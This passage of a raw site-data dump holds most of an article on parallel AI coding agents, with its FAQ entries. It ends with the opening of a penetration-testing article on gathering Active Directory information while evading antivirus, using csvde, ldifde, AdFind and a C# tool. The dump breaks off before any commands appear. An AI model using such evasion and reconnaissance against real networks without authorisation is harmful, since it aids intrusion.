evolution\u003C\u002Fstrong>— a piece of code passes all tests today, but after ten iterations over six months, it may fall apart.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The solution still follows the approach of the second key:\u003Cstrong>Write the testing paradigms for these specific domains as dedicated Skill files and let the Agent execute them on its own.\u003C\u002Fstrong> A few examples —\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Stress Testing Skill\u003C\u002Fstrong>: tell the Agent how to construct high-concurrency load, how to observe p50\u002Fp99\u002Fp999, how to identify degradation curves, and what SLA breakpoints are. It can set up k6\u002Flocust\u002Fwrk environments on its own, run through preset stress levels, and generate reports with charts.\u003C\u002Fli>\u003Cli>\u003Cstrong>Chaos Testing Skill\u003C\u002Fstrong>: define which dependencies (database, downstream services, network) are subject to random fault injection; the Agent simulates kill, latency, packet loss, etc., according to rules, to verify system degradation and recovery.\u003C\u002Fli>\u003Cli>\u003Cstrong>Security Testing Skill\u003C\u002Fstrong>: automated detection logic for common vulnerability types (XSS, SQLi, privilege escalation, CSRF...). The Agent scans common attack surfaces like a junior penetration tester.\u003C\u002Fli>\u003Cli>\u003Cstrong>Regression Evolution Testing Skill\u003C\u002Fstrong>: run a periodic \"architecture degradation self-check\" on key modules in CI — whether files have become too large, whether single-function complexity exceeds thresholds, whether inter-module dependencies have formed cycles. This can catch some early signs of problems that only emerge after long-term evolution.\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The design philosophy of these Skills is consistent with the earlier TestPlan:\u003Cstrong>First, clearly describe in a structured way what \"doing it right\" looks like in this domain, then let the Agent execute independently\u003C\u002Fstrong>. The process of writing a Skill itself is an opportunity to consolidate domain knowledge.\u003C\u002Fp>\u003Cp>There is one more category that Skills cannot solve:\u003C\u002Fp>\u003Cp>The \"cannot see\" of each role is the essence--\u003Cstrong>Forcing the agent to see and report through that role's eyes\u003C\u002Fstrong>Under the novice role, the agent can only write \"clicked save, page went white for 5 seconds\"--it cannot write \"initialization failed\" because it simply cannot see the console. This ensures the feedback truly reflects what that type of user would report, not a second-hand translation from an engineer's perspective. Different roles expose completely different problems: novices expose obscure terminology and broken main flows, experienced users expose missing shortcuts, and adversarial users expose input validation vulnerabilities and abnormal crashes.\u003C\u002Fp>\u003Cp>For specific practices, refer to the \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-test\">zero-review\u002Fauto-test\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch3>Third key: Maintainability--Constraining Agent behavior with engineering discipline\u003C\u002Fh3>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Write the design principles of \"good code\" into the Skill file, so that the agent can check each item when coding and self-reviewing; leave the architectural trade-offs for you to spot-check.\u003C\u002Fp>\u003Cp>Correctness is guaranteed by testing, but what about maintainability? By rules.\u003C\u002Fp>\u003Cp>There is a set of time-tested core principles in software design (largely influenced by John Ousterhout's *A Philosophy of Software Design*), and they share one common goal:\u003Cstrong>Control the growth of complexity\u003C\u002Fstrong>In the context of AI development, these principles can be encoded into Skill files and injected into the agent, giving it a basis for coding and self-review. The most critical ones are as follows:\u003C\u002Fp>\u003Cp>\u003Cstrong>Module depth.\u003C\u002Fstrong> Good modules have simple external interfaces and deep internal functionality. Agents naturally tend to over-split--cutting classes very small and fine, creating a bunch of shallow modules. Clearly tell it: don't split for the sake of splitting; each module should hide enough complexity behind a concise API.\u003C\u002Fp>\u003Cp>\u003Cstrong>Information hiding.\u003C\u002Fstrong> Modules should not share their internal implementation knowledge with each other. A common anti-pattern is to split modules chronologically (\"do A first, then B, so split into two\"), which almost inevitably leads to information leakage--the basis for splitting should be \"who owns this knowledge\", not the execution order.\u003C\u002Fp>\u003Cp>\u003Cstrong>Abstraction layering.\u003C\u002Fstrong> Each layer should provide a different mental model. If a layer merely forwards calls unchanged to the next layer, it has no reason to exist. More importantly, complexity should be pushed downward--lower-level modules proactively take on more processing, keeping upper-level code simple.\u003C\u002Fp>\u003Cp>\u003Cstrong>Cohesion and separation.\u003C\u002Fstrong> Code that must be understood together to make sense should be together; mixing general logic with special-case logic in a way that makes both hard to understand should be separated. Avoid producing coupled code where \"the current function cannot be understood without reading another function entirely\".\u003C\u002Fp>\u003Cp>\u003Cstrong>Error handling.\u003C\u002Fstrong> The proliferation of exceptions is a hidden killer of complexity. Good design tries to \"define away errors\"--by adjusting semantics or designing default behaviors to reduce places where exceptions need to be handled, rather than sprinkling try-catch everywhere.\u003C\u002Fp>\u003Cp>\u003Cstrong>Naming and obviousness.\u003C\u002Fstrong> Code should allow readers to correctly guess what it does at first glance. Naming must be precise, consistent throughout the codebase, and should not violate the reader's intuition--any developer new to the project should not be \"surprised\" when reading the code.\u003C\u002Fp>\u003Cp>\u003Cstrong>Documentation and comments.\u003C\u002Fstrong> Comments should describe what the code itself cannot express--design intent, why a particular solution was chosen, the abstract semantics of an interface. Repeating what the code already says is redundant; missing what the code cannot say is lacking; both are bad comments.\u003C\u002Fp>\u003Cp>\u003Cstrong>Strategic design.\u003C\u002Fstrong> Every modification should be an investment in the overall design, not a tactical quick patch. Resist the temptation to \"just make it work first\"--time saved by shortcuts will eventually be paid back exponentially in complexity. At the same time, be wary of over-design: solve the problem at hand; do not build unused abstractions for hypothetical future needs.\u003C\u002Fp>\u003Ch4>A fact that must be acknowledged: these principles themselves pull against each other.\u003C\u002Fh4>\u003Cp>The above eight principles are not a checklist that can be mechanically applied. There is inherent tension among them:\u003C\u002Fp>\u003Cul>\u003Cli>\u003Cstrong>Deep Module\u003C\u002Fstrong>Says 'deep functionality, simple interface';\u003Cstrong>Small and Composable\u003C\u002Fstrong>Says 'a module does only one thing.' These two often conflict on 'how large a class should be.'\u003C\u002Fli>\u003Cli>\u003Cstrong>Strategic Design\u003C\u002Fstrong>Says 'invest a bit more this time for the future';\u003Cstrong>Beware of Over-Design\u003C\u002Fstrong>Says 'don't build abstractions for hypothetical requirements.' There is no standard answer for the boundary between these two.\u003C\u002Fli>\u003Cli>\u003Cstrong>Information Hiding\u003C\u002Fstrong>Says 'don't leak internals'; but excessive hiding can lead to\u003Cstrong>Shallow Module\u003C\u002Fstrong>(the interface doesn't reveal what it can do).\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Even experienced human engineers can repeatedly make wrong judgments on these trade-offs — relying on an Agent to consistently get it right with just a Skill file is not yet supported by evidence.\u003Cstrong>The reality is: An Agent can get it right in most routine cases; the remaining part still requires you to spot-check, especially architecture-level decisions and long-term maintenance choices.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Which areas are most error-prone and which principles are especially important in your project — these are things that gradually settle into the Skill file through iteration. For example: if you find the Agent repeatedly chooses excessive decomposition in a certain type of scenario (e.g., creating five classes for a small feature every time), then write this counterexample into the Skill — 'In this project, don't decompose X-type scenarios into more than N classes.'\u003Cstrong>The Skill library grows with the project; this is a continuous investment, not a one-time effort.\u003C\u002Fstrong>\u003C\u002Fp>\u003Ch4>Three Phases of Actual Operation\u003C\u002Fh4>\u003Cp>After the Agent receives the requirements document and test plan, it first performs code structure and architectural design based on the above principles (module division, interface definition, abstraction levels, file organization); then it executes development and testing; finally, it conducts a round of self-review and adjustment against these principles, checking for shallow modules, information leakage, intermediate layers that only forward without doing work, naming inconsistencies, and other issues, and corrects them on its own.\u003C\u002Fp>\u003Cp>What you need to do is to write these design principles into a Skill file, load it when the Agent starts; and after the Agent's self-review results are out, perform a spot-check on architectural decisions. As the iteration deepens, the number of spot-checks will decrease.\u003C\u002Fp>\u003Cp>For specific practice, refer to \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-dev\">zero-review\u002Fauto-dev\u003C\u002Fa> skill.\u003C\u002Fp>\u003Ch2>Scheduling Techniques for Parallel Development\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> Three stable patterns from coarse to fine — cross-project \u002F same repo different directions (git worktree isolation) \u002F same task different concerns; plus an experimental cutting-edge 'Agent splits tasks and runs in parallel'. They are not mutually exclusive and can be nested.\u003C\u002Fp>\u003Cp>The three keys solve the question 'can we let go of a single Agent'; in this section, we can finally talk about\u003Cstrong>how to let go of multiple Agents at the same time\u003C\u002Fstrong>.\u003C\u002Fp>\u003Cp>Depending on the granularity of parallelism, there are three modes that can be stably used today (and a fourth mode currently in the experimental stage, discussed separately later).\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_258\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1777386381095_2_6f1e27c712-1.png\">\u003C\u002Fp>\u003Ch3>Mode 1: Cross-project Parallelism – Different repos, different Agents\u003C\u002Fh3>\u003Cp>\u003Cstrong>Coarsest granularity, most worry-free parallelism.\u003C\u002Fstrong> Several independent projects at hand, each starts an Agent to drive its own development tasks. There are no code dependencies between projects, and no coordination needed between Agents. You just need to align requirements for each project separately, then let them execute independently.\u003C\u002Fp>\u003Cp>This mode has almost no additional management overhead. The only thing to watch is to allocate your attention wisely – rotate among projects during the requirements alignment phase, rather than doing them one after another in sequence. A practical rhythm: give requirements to Project A's Agent and let it generate a test plan; in that gap, switch to Project B for requirements alignment; once Project B's Agent starts working, come back to review Project A's test plan. Like a tech lead shuttling between multiple meeting rooms.\u003C\u002Fp>\u003Ch3>Mode 2: Same project, different directions – Isolate parallelism with git worktree\u003C\u002Fh3>\u003Cp>\u003Cstrong>In the same project, push several non-overlapping directions simultaneously, or have multiple Agents run the same requirement with different approaches and then merge the best – the former is 'doing different things separately', the latter is a direct application of the earlier point 'making failure cheap'.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Technically, git worktree is recommended for isolation. It allows you to create multiple independent working directories from the same repo, each checking out a different branch – Agents work without interference, and after completion, they merge back to the main branch in order of priority. Merge conflicts can be resolved with Agent assistance.\u003C\u002Fp>\u003Cp>The key consideration for this mode: choose directions with low code coupling between parallel tasks. If two tasks heavily modify the same set of files, the cost of merge conflicts will eat up the time saved by parallelism. A simple rule of thumb: overlap of modified files &lt;20% is fine for parallelism; &gt;50% suggests serializing or re-splitting the task.\u003C\u002Fp>\u003Ch3>Mode 3: Same work item, different transaction types – Cross parallelism\u003C\u002Fh3>\u003Cp>\u003Cstrong>Within the same feature, split work by transaction type and parallelize.\u003C\u002Fstrong> Even the development of the same feature includes various transaction types of different natures (backend logic tests, UI tests, known bug fixes…), which can often be performed in parallel.\u003C\u002Fp>\u003Cp>For a concrete example, suppose you are developing an 'Order Export' feature. You can launch three Agents simultaneously: the first Agent handles backend logic tests – constructing a backend test plan covering various edge cases (empty orders, large data volumes, concurrent exports, etc.), writing test cases and executing them. The second Agent handles UI-level tests – building end-to-end UI tests with Playwright, verifying the export button interaction flow, file download behavior, error state display, etc. The third Agent fixes several known bugs you've observed during earlier development.\u003C\u002Fp>\u003Cp>These three transaction types are different (backend tests, UI tests, bug fixes), involving different code areas and toolchains, making them naturally suitable for parallelism.\u003C\u002Fp>\u003Ch3>Mode 4 (Frontier experiment): Parallelism within a single task – decomposed and scheduled by the Agent itself\u003C\u002Fh3>\u003Cp>\u003Cstrong>This mode is currently in early exploration and its behavior is not yet stable – it is presented here to set your expectations, not as a recommendation to rely on it today.\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In the first three modes, you decide the granularity of parallelism; Mode 4 delegates control to the Agent itself:\u003Cstrong>Throw a task at it, and the Agent itself identifies which submodules can be developed in parallel, and splits them into multiple concurrent streams.\u003C\u002Fstrong> For example, Claude Code's team feature already shows the prototype – you don't need to manually open worktrees or assign tasks; the Agent handles scheduling itself. But current limitations are real: context sharing across sub-Agents is still fragile, collisions occur when boundaries are unclear, and manual intervention is still needed during the merge phase.\u003C\u002Fp>\u003Cp>However, the prerequisites for making this mode work can be built starting today –\u003Cstrong>Module boundaries, interface contracts, and data flow must be clearly defined before development\u003C\u002Fstrong>. If several sub-Agents have to repeatedly align interfaces during coding, they will quickly collide, making the merge worse than serial development. This is precisely the direct payoff of the third key: projects with a solid architecture phase naturally have the potential for Agent-driven autonomous parallelism; conversely, if the architecture phase is neglected, even if the underlying system supports team mode, you won't enjoy this benefit.\u003C\u002Fp>\u003Cp>\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-dev\">zero-review\u002Fauto-dev\u003C\u002Fa> The architecture design phase of zero-review\u002Fauto-dev has already enforced 'modularity + interface contracts' as a hard requirement, precisely so that downstream can immediately use it once this capability stabilizes.\u003C\u002Fp>\u003Cp>In practice, the first three modes are not mutually exclusive – you can embed Mode 3 within Mode 2's worktree framework, or use Mode 1 for cross-project coordination in large organizations. The finer the granularity, the higher the demand on your attention switching ability, but the greater the benefit.\u003C\u002Fp>\u003Ch2>New bottleneck from parallelism: AI output you can't digest in time\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\u003C\u002Fstrong> This is not a future bottleneck – you will hit it as soon as you launch the 3rd Agent. Output (code, test reports, feedback) piles up on you, and it needs to be digested by Agents; this closed loop is not yet running.\u003C\u002Fp>\u003Cp>Suppose you have launched several parallel Agents as described, each producing code, test reports, user test feedback, and retrospective summaries. In the first week, you'll feel the rhythm is great. In the second week, you'll find that – most of your day is spent reading various reports from the Agents, and you realize many of them are actually redundant or low-priority trivial issues pushed to you. You've gone from 'code reviewing' to 'report reading', and the bottleneck has quietly returned to you.\u003C\u002Fp>\u003Cp>The imagined solution is the same as the earlier bottleneck-breaking approach –\u003Cstrong>Output also needs to be digested by the Agent\u003C\u002Fstrong>: Read in batches to find patterns and duplicates, merge different descriptions of the same thing, assign to the next development round by type, prioritize based on 'how many users affected × is there a temporary workaround', attach a reason for each, only escalate high-priority items that truly need your decision. Once this is in place, the entire chain becomes a closed loop: you issue requirements → Agent performs parallel development → output is automatically digested and organized by the Agent → new work items are sent back to the Agent.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"IMG_259\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1777386381610_3_4dd66ae388-1.png\">\u003C\u002Fp>\u003Cp>\u003Cstrong>But this closed loop is not yet operational.\u003C\u002Fstrong> I am at \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\">zero-review\u003C\u002Fa> left a spot for this line in (\u003Ca href=\"https:\u002F\u002Fgithub.com\u002FA7um\u002Fzero-review\u002Ftree\u002Fmain\u002Fskills\u002Fauto-triage\">auto-triage\u003C\u002Fa> skill), but to be honest, today it cannot reliably replace humans in this task—classification easily loses focus, merging easily misses truly independent issues, priority judgment lacks business perspective. This is the part of the entire collaboration chain that I find most unreliable and most worth continuing to invest in.\u003C\u002Fp>\u003Cp>Before this closed loop is operational, what you can do is establish some transitional buffers: enforce a structured 'summary + severity + suggested action' template for each Agent's output, so that you only need a quick glance each day to make priority decisions; write frequent low-priority issues into the Skill so the Agent ignores them automatically; set a fixed time block for 'reading output daily' and don't let it fragment your entire workday. But these are just buffers—the real solution is to complete the fourth building block of the entire closed loop, and that day has not yet come.\u003C\u002Fp>\u003Ch2>Some practical advice\u003C\u002Fh2>\u003Cp>\u003Cstrong>Start with two Agents, gradually increase.\u003C\u002Fstrong> If you don't have experience with parallel development, don't start with five or six Agents right away. First try managing two simultaneously, get familiar with the rhythm, then gradually increase.\u003Cstrong>The comfort upper limit for beginners is usually 3–4 Agents\u003C\u002Fstrong>—any more than that, just switching context and reviewing test plans will become a new bottleneck. To break through this limit, it's not willpower that truly matters, but\u003Cstrong>more mature task decomposition techniques\u003C\u002Fstrong>: cut a large task into sufficiently independent pieces in advance, so that each Agent's output doesn't require frequent interruptions from you, and raise the granularity of review from 'each output' to 'a batch of outputs'. This technique grows gradually through practice—once you are skilled, running 6–8 Agents simultaneously is possible.\u003C\u002Fp>\u003Cp>\u003Cstrong>Requirement alignment cannot be parallelized.\u003C\u002Fstrong> This is a counterintuitive but important point. Although development execution can be parallelized, the requirement alignment phase requires your deep thinking, which is hard to truly parallelize. The recommended approach is: complete requirement alignment for each task serially (10-30 minutes each), then start development execution in parallel. Think of requirement alignment as 'loading bullets' and development execution as 'shooting'—loading requires focus, shooting can be simultaneous.\u003C\u002Fp>\u003Cp>\u003Cstrong>Build a project-specific Skill library and load it continuously.\u003C\u002Fstrong> Engineering standards, architectural principles, testing requirements, team preferences—write them into one Skill, uniformly loaded when each Agent starts, to ensure consistent output style and quality standards. Previous sections have repeatedly discussed how this library grows through practice; here just one reminder:\u003Cstrong>For the output of parallel Agents to be seamlessly merged, the prerequisite is that they receive the same set of specifications.\u003C\u002Fstrong> Otherwise, three Agents will produce three different styles, and merging them will be like a patchwork quilt.\u003C\u002Fp>\u003Cp>\u003Cstrong>Link 'review granularity' with 'project complexity'.\u003C\u002Fstrong> Low-complexity projects (internal tools, prototypes)—let it go, just glance at the output and test plan; high-complexity projects (critical online paths, systems with security\u002Fperformance requirements)—review test plans line by line, spot-check architecture decisions, and for key modules, it's still worth having a human read the code. This is not about being 'lazy' or 'diligent', but about directing limited attention to where it is truly needed.\u003C\u002Fp>\u003Ch2>But this won't make you feel more relaxed\u003C\u002Fh2>\u003Cp>\u003Cstrong>TL;DR:\n Output is amplified, but your mental consumption per unit time is also amplified—the arithmetic is favorable, but it's not free; you have to proactively create some slack.\u003C\u002Fstrong>After all the good talk, I must add an honest note: this path will not make things easier; in fact, it will probably be more tiring. Output is amplified, but the mental effort you expend is also amplified—and with almost no slack.\u003C\u002Fp>\u003Cp>Coding has a rhythm—write a few lines, run it, change a bit, run again—hands and brain alternate, and when stuck, you can semi-automatically try for a while. After switching to parallel scheduling mode, you spend all day making judgments: accept this requirements document? Which option? Which priority? What is seen in this retrospective? One Agent decides direction every few minutes, five Agents producing simultaneously means five judgments piled in front of you. The time may not be longer, but\u003C\u002Fp>\u003Cp>The time may not be longer, but\u003Cstrong>Mental expenditure per unit of time increases significantly\u003C\u002Fstrong>。\u003C\u002Fp>\u003Cp>In other words, you've gone from \"physical plus mental\" to \"pure mental\". The math is favorable — output magnifies several times — but total mental investment hasn't decreased, it's even higher.\u003C\u002Fp>\u003Cp>So you must actively create gaps: read status reports in batches, don't let Agent outputs fragment your attention like chat messages; set aside uninterrupted time to think about direction and process; don't mistake \"letting go\" for the illusion that \"I don't have to do anything\". What AI saves is your hands-on work; the saved time doesn't automatically become leisure — you have to actively give it space.\u003C\u002Fp>\u003Cp>You are no longer the person typing on the keyboard; you are\u003Cstrong>the person who designs and runs this entire collaborative system\u003C\u002Fstrong>. Your position is higher, the leverage is greater, and the demands on judgment are also higher. Tiring as it is — but this kind of fatigue is the kind that truly creates value.\u003C\u002Fp>\u003Ch2>Summary\u003C\u002Fh2>\u003Cp>\u003Cstrong>The essence of parallel development is not \"running more Agents simultaneously\", but \"reducing the number of times each Agent requires human intervention\".\u003C\u002Fstrong> Only when each Agent can independently complete high-quality work with minimal human oversight does parallelism become meaningful.\u003C\u002Fp>\u003Cp>Behind this are three keys: replace repeated communication with structured requirement alignment processes (remove requirement transmission bottlenecks), replace line-by-line code review with test-plan-driven development (remove correctness bottlenecks), replace manual architecture oversight with engineering discipline from Skill injection (remove maintainability bottlenecks). Add one more strategic change: once failure becomes cheap, \"try multiple paths in parallel, merge the best\" becomes the basic approach.\u003C\u002Fp>\u003Cp>Once these three conditions are fully refined, your role shifts from \"pair programmer for each Agent\" to \"technical lead for multiple Agents\" — you are responsible for setting direction, defining standards, reviewing test plans, and doing spot checks at key nodes; the actual coding, testing, debugging, and most architectural details are completed autonomously by the Agents.\u003C\u002Fp>\u003Cp>\u003Cstrong>And this dividend is not limited to development — any mental labor that can be decomposed into independent subtasks is equally applicable to this approach.\u003C\u002Fstrong> Writing code is just the first scenario that works.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",null,{"id":28,"alt":29,"caption":30,"updatedAt":31,"createdAt":31,"url":32,"thumbnailURL":26,"filename":33,"mimeType":34,"filesize":35,"width":36,"height":37,"focalX":38,"focalY":38,"sizes":39},1778,"docx image 1777386378569 0 3a225796d8","legacy:\u002Fuploads\u002Fdocx_image_1777386378569_0_3a225796d8.png","2026-07-24T15:37:08.617Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1777386378569_0_3a225796d8-1.png","docx_image_1777386378569_0_3a225796d8-1.png","image\u002Fpng",26288,1269,548,50,{"thumbnail":40,"card":41,"og":42},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},"Onedaysec",33,"published","2026-04-28T14:39:35.518Z",{"title":48,"description":9,"keywords":49,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Parallel AI Agent Development: Boost Coding Efficiency","AI agents, parallel development, coding, AI coding, bottlenecks, autonomous development, multi-agent systems",false,[],{"docs":53,"hasNextPage":50},[54,62,69,76,83,90,96,103],{"id":55,"question":56,"answer":57,"answerHtml":57,"slug":58,"keywords":59,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":60,"createdAt":60,"_status":61},9,"What does the article mean by 'failure becomes cheap' in the context of parallel AI development?","In earlier stages, human time was expensive and serial, so failures were costly. With the 2025 H2 leap, agents can autonomously debug, iterate, and try multiple approaches in parallel. This makes failure cheap and experimentation viable—you can launch multiple paths simultaneously, let agents test and fix themselves, and only have humans intervene for final acceptance or tricky architectural trade-offs.","what-does-the-article-mean-by-failure-becomes-cheap-in-the-context-of-parallel-a-1777701745979","failure cheap, parallel experimentation, autonomous debugging, iteration","2026-07-23T16:02:51.189Z","draft",{"id":63,"question":64,"answer":65,"answerHtml":65,"slug":66,"keywords":67,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":68,"createdAt":68,"_status":61},8,"How did the capability leap in the second half of 2025 overcome these bottlenecks?","Frontier models like Opus 4.5 brought four key improvements: autonomous debugging via runnable environments, better requirement-to-implementation translation with tests, internalization of engineering norms through Skill files, and general Computer Use ability (terminal, browsing, GUI). These allow humans to step back from line-by-line review and instead focus on setting rules, accepting results, and spot-checking key nodes, enabling true parallel development.","how-did-the-capability-leap-in-the-second-half-of-2025-overcome-these-bottleneck-1777701744143","Opus 4.5, autonomous debugging, skill rules, computer use, capability leap","2026-07-23T16:02:50.139Z",{"id":70,"question":71,"answer":72,"answerHtml":72,"slug":73,"keywords":74,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":75,"createdAt":75,"_status":61},7,"What are the three main bottlenecks that prevent effective parallel AI development?","The three bottlenecks are: 1) clearly conveying requirements to the agent, 2) ensuring the generated code is functionally correct, and 3) maintaining code quality and architecture over time. All three require deep human involvement, creating a single-point bottleneck that limits parallelism—no matter how many agents you launch, you still have to review and guide each one sequentially.","what-are-the-three-main-bottlenecks-that-prevent-effective-parallel-ai-developme-1777701742263","bottlenecks, human-in-the-loop, requirements, code correctness, maintainability","2026-07-23T16:02:48.945Z",{"id":77,"question":78,"answer":79,"answerHtml":79,"slug":80,"keywords":81,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":82,"createdAt":82,"_status":61},6,"What is the main idea behind parallel AI development described in this article?","The main idea is that true productivity gains come not from a single AI agent writing code faster, but from launching multiple agents simultaneously to advance different tasks in parallel. This approach, as detailed in [Parallel Development Experience Bought with Thousands of Dollars in Tokens: Let a Group of AI Agents Write Code for You](\u002Fnews\u002Fparallel-development-experience-bought-with-thousands-of-dollars-in-tokens-let-a), can be applied not only to coding but to any mental work that can be broken into independent subtasks.","what-is-the-main-idea-behind-parallel-ai-development-described-in-this-article-1777701740259","parallel development, AI agents, productivity, subtasks","2026-07-23T16:02:47.976Z",{"id":84,"question":85,"answer":86,"answerHtml":86,"slug":87,"keywords":88,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":89,"createdAt":89,"_status":61},5,"What role do structured Skill files play in making parallel AI development work for maintainability?","Structured Skill files provide Agents with software engineering norms—like naming conventions, layering rules, and module boundaries—so they can internalize most maintainability requirements without human guidance. This allows Agents to produce code with consistent architecture and standards, reducing the need for human architectural oversight during parallel development. However, the article notes that some design trade-offs still escape automated enforcement, so spot-checking key nodes remains prudent.","what-role-do-structured-skill-files-play-in-making-parallel-ai-development-work--1777485572159","skills, maintainability, engineering norms, architectural trade-offs, Agent compliance","2026-07-23T16:02:46.924Z",{"id":6,"question":91,"answer":92,"answerHtml":92,"slug":93,"keywords":94,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":95,"createdAt":95,"_status":61},"Why was parallel development not meaningful before the 2025 capability leap, even with products like Cursor and CodeBuddy?","Before the leap, all solutions relied on a human-as-driver, AI-as-co-pilot model. Humans still had to manually review code, negotiate requirements through multi-turn conversations, and direct architectural decisions. Even if you opened five Agent windows, they all waited for your serial input. True autopilot hadn't arrived—parallelism just turned a single queue into concurrent queues, all blocked by the same human bottleneck. The article explains that only when mechanisms can independently handle debugging, correctness, and maintainability does parallelism become effective.","why-was-parallel-development-not-meaningful-before-the-2025-capability-leap-even-1777485572056","copilot, human-in-the-loop, Cursor, CodeBuddy, serial bottleneck","2026-07-23T16:02:45.573Z",{"id":97,"question":98,"answer":99,"answerHtml":99,"slug":100,"keywords":101,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":102,"createdAt":102,"_status":61},3,"How did the 2025 front of frontier models, such as Opus 4.5, enable true parallel AI development?","In the second half of 2025, frontier models made a collective leap in four directions: autonomous debugging, instruction following, Skill rules for engineering norms, and Computer Use. These improvements allowed mechanisms to replace deep human involvement in addressing the three bottlenecks—for example, Agents can now autonomously run tests, fix bugs, and follow structured Skill files. This shift from human-in-the-loop to rule-based acceptance means developers can launch multiple Agents in parallel without being the serial bottleneck.","how-did-the-2025-front-of-frontier-models-such-as-opus-45-enable-true-parallel-a-1777485571953","Opus 4.5, AI leap, autonomous debugging, instruction following, skills, computer use","2026-07-23T16:02:44.282Z",{"id":104,"question":105,"answer":106,"answerHtml":106,"slug":107,"keywords":108,"article":6,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":109,"createdAt":109,"_status":61},2,"What are the three main bottlenecks that prevent parallel AI agent development, and why do they make parallelism ineffective?","The three bottlenecks are: clearly conveying requirements to the Agent, ensuring code functional correctness, and guaranteeing code maintainability. All three require deep human involvement—reviewing code, negotiating requirements, and directing architecture—turning humans into a single-point bottleneck. Since human attention is serial and limited, launching multiple Agents only creates concurrent queuing, not true parallelism. This is the core problem addressed in [Parallel Development Experience Bought with Thousands of Dollars in Tokens: Let a Group of AI Agents Write Code for You](\u002Fnews\u002Fparallel-development-experience-bought-with-thousands-of-dollars-in-tokens-let-a).","what-are-the-three-main-bottlenecks-that-prevent-parallel-ai-agent-development-a-1777485571858","parallel development, bottlenecks, human-in-the-loop, AI coding, code review","2026-07-23T16:02:42.996Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.949Z","2026-07-23T16:00:53.057Z",{"id":84,"title":114,"slug":115,"description":116,"content":117,"contentHtml":123,"contentMarkdown":26,"cover":26,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":124,"seo":125,"tags":128,"qaPairs":129,"meta":159,"updatedAt":160,"createdAt":161,"_status":61},"Penetration Basics - Active Directory Information Gathering 2: Bypass AV","penetration-basics-active-directory-information-gathering-2-bypass-av","Learn to bypass AV for Active Directory info gathering using csvde, ldifde, AdFind, and C# tools. Export users, computers, groups securely.",{"root":118},{"type":12,"format":13,"indent":14,"version":15,"children":119,"direction":24},[120],{"type":18,"format":13,"indent":14,"version":15,"children":121,"direction":24},[122],{"mode":21,"text":123,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Penetration Basics - Active Directory Information Gathering', common information gathering methods were introduced using examples of obtaining all users, all computers, and all groups in Active Directory.\u003C\u002Fp>\u003Cp>However, in practical use, some tools may be blocked by antivirus software.\u003C\u002Fp>\u003Cp>Therefore, this article will supplement the gathering methods while bypassing antivirus software interception.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Using csvde to obtain Active Directory information\u003C\u002Fli>\u003Cli>Using ldifde to obtain Active Directory information\u003C\u002Fli>\u003Cli>Using AdFind to obtain Active Directory information\u003C\u002Fli>\u003Cli>Using a lightweight gathering tool developed in C#\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Using csvde to obtain Active Directory information\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-r2-and-2012\u002Fcc732101(v=ws.11)\u003C\u002Fp>\u003Cp>Files exported using csvde are in CSV format and can be viewed with Microsoft Excel\u003C\u002Fp>\u003Cp>By default, it can only be used on the following systems, for example:\u003C\u002Fp>\u003Cul>\u003Cli>Windows Server 2003\u003C\u002Fli>\u003Cli>Windows Server 2008\u003C\u002Fli>\u003Cli>Windows Server 2003 R2\u003C\u002Fli>\u003Cli>Windows Server 2008 R2\u003C\u002Fli>\u003Cli>Windows Server 2012,\u003C\u002Fli>\u003Cli>Windows Server 2003 with SP1\u003C\u002Fli>\u003Cli>Windows 8\u003C\u002Fli>\u003Cli>...\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>1. Example 